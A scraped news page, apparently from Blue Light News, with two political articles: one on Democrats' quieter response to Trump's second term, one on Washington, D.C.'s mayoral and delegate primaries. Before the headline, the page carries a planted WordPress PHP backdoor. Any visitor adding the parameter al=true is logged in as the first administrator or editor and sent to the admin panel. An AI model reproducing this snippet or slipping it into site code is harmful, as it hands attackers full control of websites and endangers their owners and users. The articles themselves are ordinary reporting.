// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Democrats’ approach to Trump this time is much quieter – Blue Light News
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Democrats’ approach to Trump this time is much quieter

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When President Donald Trump signed the pardons of Jan. 6 defendants, many 2028 Democratic hopefuls didn’t acknowledge it. And few got sucked into an outrage cycle over Elon Musk’s straight-arm gesture during Trump’s inauguration celebration.

This week provided some clues about an emerging approach that’s coming to define Democrats at the outset of Trump’s second administration, firmly breaking with its fury-fueled resistance roots of 2017. Instead, Democratic state and congressional leaders are primarily looking for openings to attack the president, while promising bipartisanship and trying to model a Democratic alternative in the states.

In interviews with more than a dozen Democratic elected officials and strategists, they explained the shift as evidence of a party reorienting itself after sweeping losses and biding its time until public sentiment potentially turns against Trump. That’s because they are in less friendly territory than in 2017. Trump won the popular vote and all 50 states shifted right in 2024. Thirteen House Democrats are now sitting in districts Trump won last November, but another 50 represent seats that Kamala Harris won by 9 points or less. Just a few thousand showed up to protest Trump’s inauguration.

Democrats are “being more measured because people are just so tired, so there isn’t the energy to stay at an 11 for the next four years,” said Michigan state Sen. Mallory McMorrow. “My advice is, call it out, be blunt, but don’t shriek about it.”

But for many of the future leaders and possible 2028 Democratic primary contenders, Trump’s pardons and Musk’s gesture — moments that would have inspired public outcry eight years ago — did not draw an immediate public response. Former Vice President Kamala Harris and Minnesota Gov. Tim Walz did not weigh in with statements or on social media. Nor did Michigan Gov. Gretchen Whitmer, Maryland Gov. Wes Moore, California Gov. Gavin Newsom and former Transportation Secretary Pete Buttigieg. Pennsylvania Gov. Josh Shapiro did address Trump’s pardons when asked by local reporters. Illinois Gov. JB Pritzker was a notable outlier, posting on X that Musk’s salute was “outrageous” and criticizing Trump for his pardons.

“Joe Biden is leaving as a very unpopular Democratic president, we lost the popular vote and people are pissed at us over inflation, culture and the border,” Mike Nellis said, a Democratic strategist who worked on Harris’ 2020 presidential primary. “We have to change our tact because we have to earn people’s trust back.”

Confronting this new reality means Democrats are “not going to use the playbook from 2024 or 2017, if I’m looking to run in 2028,” said one Democratic adviser to a potential 2028 Democratic candidate granted anonymity to discuss internal discussions, adding that “if you rush to the cameras every time there’s an outrage, that’s the old playbook.”

“The path to prominence is not in endless resistance headlines,” said an adviser to another potential 2028 candidate. A third operative, who is also close to another prospective presidential candidate, said that “a bunch of 2028-ers are still thinking through what their argument is going to be for how to fix the party, so it’s hard to be out there without a solution in hand.”

But that muted approach has also left a messaging void, which is frustrating some Democrats. One Democratic strategist said it’s “a big concern that we are rudderless” and “there’s a space out there for someone to fill,” but “right now, it’s deafening.”

For some, the silence is a missed opportunity. “If you’re thinking of running for president in 2027, I understand why your advisers are saying, keep your head down and pick your spots,” said one Democratic strategist who worked on a 2020 presidential primary campaign. “No one wants to stick their head up yet, but they’re also over-learning their lesson of 2017 and 2018, worrying about whether the resistance efforts ultimately helped candidates — or didn’t — when they ran for president in 2019.”

The operative argued there is still “grassroots energy” for Democrats, “but they’re not seeing anybody take the mantle.”

Of course, there are exceptions. Chief among them is Rep. Alexandria Ocasio-Cortez (D-N.Y.), who did not attend the inauguration and said in an Instagram video: “Two of probably the most foundational, defining things about American history is that we beat the Confederates and we beat the Nazis,” referring to Musk, who has mocked these accusations. She told comedian Jon Stewart on his podcast that Trump is “much more normalized this time around,” but she argued that working class voters are still being “ripped off” by Trump, “a quintessential New York con man.”

A few argued it’s too early to judge: “It’s been the first week, and it’s such a deluge, but we will, in this tax fight, really find our sweet spot of highlighting how he’s been for tax breaks for the wealthy and not for the working class,” said Rep. Ro Khanna (D-Calif.).

For many of the future leaders and possible 2028 Democratic primary contenders, Trump’s pardons and Musk’s gesture — moments that would have inspired public outcry eight years ago — did not draw an immediate public response.

Throughout the 2024 general election, Harris and Walz castigated Trump and Musk, and Democrats noted that keeping a low profile after an election loss is not unusual. After certifying the results of the election earlier this month, Harris told reporters that a “peaceful transfer of power” should be something “Americans take for granted,” an implicit reference to the insurrection on Jan. 6.

Walz, for his part, proposed a sales tax cut in Minnesota this month, but hasn’t waded back into national politics. Whitmer, too, pledged to not “go looking for fights” with Trump, but she promised to not “back down from them, either,” in a speech at the Detroit Auto Show last week. Newsom, meanwhile, greeted Trump on the tarmac on Friday when the president arrived for a tour of wildfire damage in Los Angeles, even though he wasn’t invited.

But the party’s broader stasis is also reflected in the contest for Democratic National Committee chair, which has centered on party mechanics over ideology or messaging. The contest’s two frontrunners — Ken Martin, chair of Minnesota’s Democratic-Farmer-Labor Party, and Ben Wikler, chair of the Wisconsin Democratic Party — are broadly in line with each other over commitments to building up a year-long campaign infrastructure and reinvigorating state parties across the country.

The bloodless response to the party’s 2024 losses in the DNC chair race prompted Faiz Shakir, a longtime progressive strategist who managed Bernie Sanders’ 2020 presidential campaign, to get into the race. Shakir acknowledged that there’s “a lot of fatigue” for Democrats, but he also said that “there’s a hesitancy to define a Democratic brand right now” — and the tenor in the DNC chair race is an example.

“People are still struggling with the framework of how you challenge Donald Trump for failing to deliver for working people, but the frame is there, right now, it’s — he’s up for auction,” Shakir said, citing the posse of Silicon Valley billionaires who attended the president’s inauguration. “But maybe it’s uncomfortable language for Democrats, who haven’t talked like this for a long time, to talk about the ruling elites.”

Ally Mutnick contributed reporting. 

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DC is about to pick new leaders. Trump is watching.

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Washington will soon enter a new chapter after voters pick the capital’s first new mayor in a dozen years and its first new Congressional delegate since 1991. And no matter who wins Tuesday’s primaries, they’ll be on a collision course with President Donald Trump.

The frontrunners in both races have hinged their campaigns on opposition to Trump, who since returning to office has chipped away at Washington’s autonomy and sought to remake parts of the city in his image. Mayor Muriel Bowser, who has led the city since taking office in 2015, has taken a pragmatic approach to working with the president in an apparent effort to avoid further furor. Del. Eleanor Holmes Norton has represented the District since 1991 and condemned Trump’s actions in strongly worded statements, but the 89-year-old has dodged the spotlight amid questions about her acuity and ability to serve.

The candidates running to replace them say that’s far from enough.

In interviews with Blue Light News, those leading candidates emphasized that they hoped to find common ground with the Trump administration and coordinate where possible, especially on projects that could jumpstart Washington’s sluggish economy. But they all drew a red line at Trump’s extraordinary law enforcement actions, including sending in the National Guard indefinitely and surging federal immigration agents in coordination with local police.

“Washington, D.C., residents want and deserve a mayor who’s going to stand up and fight back, and that’s what I’m bringing,” said Kenyan McDuffie, a relatively moderate, pro-business former D.C. Council member who is polling second in the mayor’s race. He has pledged to end coordination between the Metropolitan Police Department and ICE on his first day in office.

Janeese Lewis George, a D.C. council member who is polling more than 10 points ahead of McDuffie, has taken an even more adversarial posture against the president. She told Blue Light News she would “actively tell our employees to resist” if Trump again federalized the MPD, adding that she would work with D.C. Attorney General Brian Schwalb “to defend D.C.”

Trump is already making known his displeasure — particularly with Lewis George, a democratic socialist whose platform and campaign are reminiscent of those of New York City Mayor Zohran Mamdani. Asked last week about the possibility of Lewis George winning the primary, Trump told reporters in the Oval Office: “I wouldn’t like it.”

“Maybe we’ll take back Washington, run it on a federal basis,” he continued. “We won’t put up with it. We’re not gonna lose our businesses.”

Lewis George’s campaign almost immediately cut Trump’s comments into an ad. “Look, we’re not going to get ICE off our streets by fearing this president,” she said in response. “We’re not going to protect our rights, or Home Rule, by complying in advance. Threatening Home Rule because you don’t like how residents are voting is an attack on democracy itself. The people of D.C. elect their mayor, and they want someone who’s gonna stand up to Donald Trump.”

There’s a similar sentiment among the leading delegate candidates.

Robert White, a city council member and one of two frontrunners in the delegate race, described Trump’s surge of federal agents and National Guard troops to the city as “lawlessness” and “the opposite of public safety.” He said he would seek to build a coalition in Congress to “push back in every way.”

Brooke Pinto, a fellow council member and the other delegate frontrunner who has centered public safety in her campaign, said the administration’s use of National Guard troops and ICE agents have not helped the city. “While I am very committed to advancing public safety in the District of Columbia, what we’re seeing from the Trump administration undermines those efforts,” she said.

That type of messaging is politically savvy in a city with an electorate that heavily supported Kamala Harris in 2024 and whose lives have been directly impacted by the president’s grip over Washington — from the troop surge to his sweeping cuts to government programs and razing of the federal workforce, which have severely contracted the District’s economy. That’s not to mention his efforts to splash his name and face across federal buildings, and mounting moves to beautify portions of the city and stand up ambitious architectural projects.

“When politicians try to interfere with our local public safety, when they are sweeping up unhoused residents, cutting jobs, when they are pushing policies that negatively affect our local economy and driving up overall costs of everything from gas to housing, I’m going to fight back,” McDuffie said.

But it sets the candidates — whoever wins — in explicit opposition to Trump, who has consistently sought to bring his enemies to heel whenever he gets the chance. The president has several levers at his disposal if he chooses to retaliate against Washington, from another federal law enforcement surge to using his influence over Congress to weaken D.C. Home Rule. The city also depends on the federal government for high-profile projects that would improve public spaces and bring jobs to the District, including upgrades to Union Station and the redevelopment of the RFK Stadium campus.

Asked how the White House is preparing for a potentially more adversarial mayor and delegate, a spokesperson referred Blue Light News back to Trump’s Oval Office comments.

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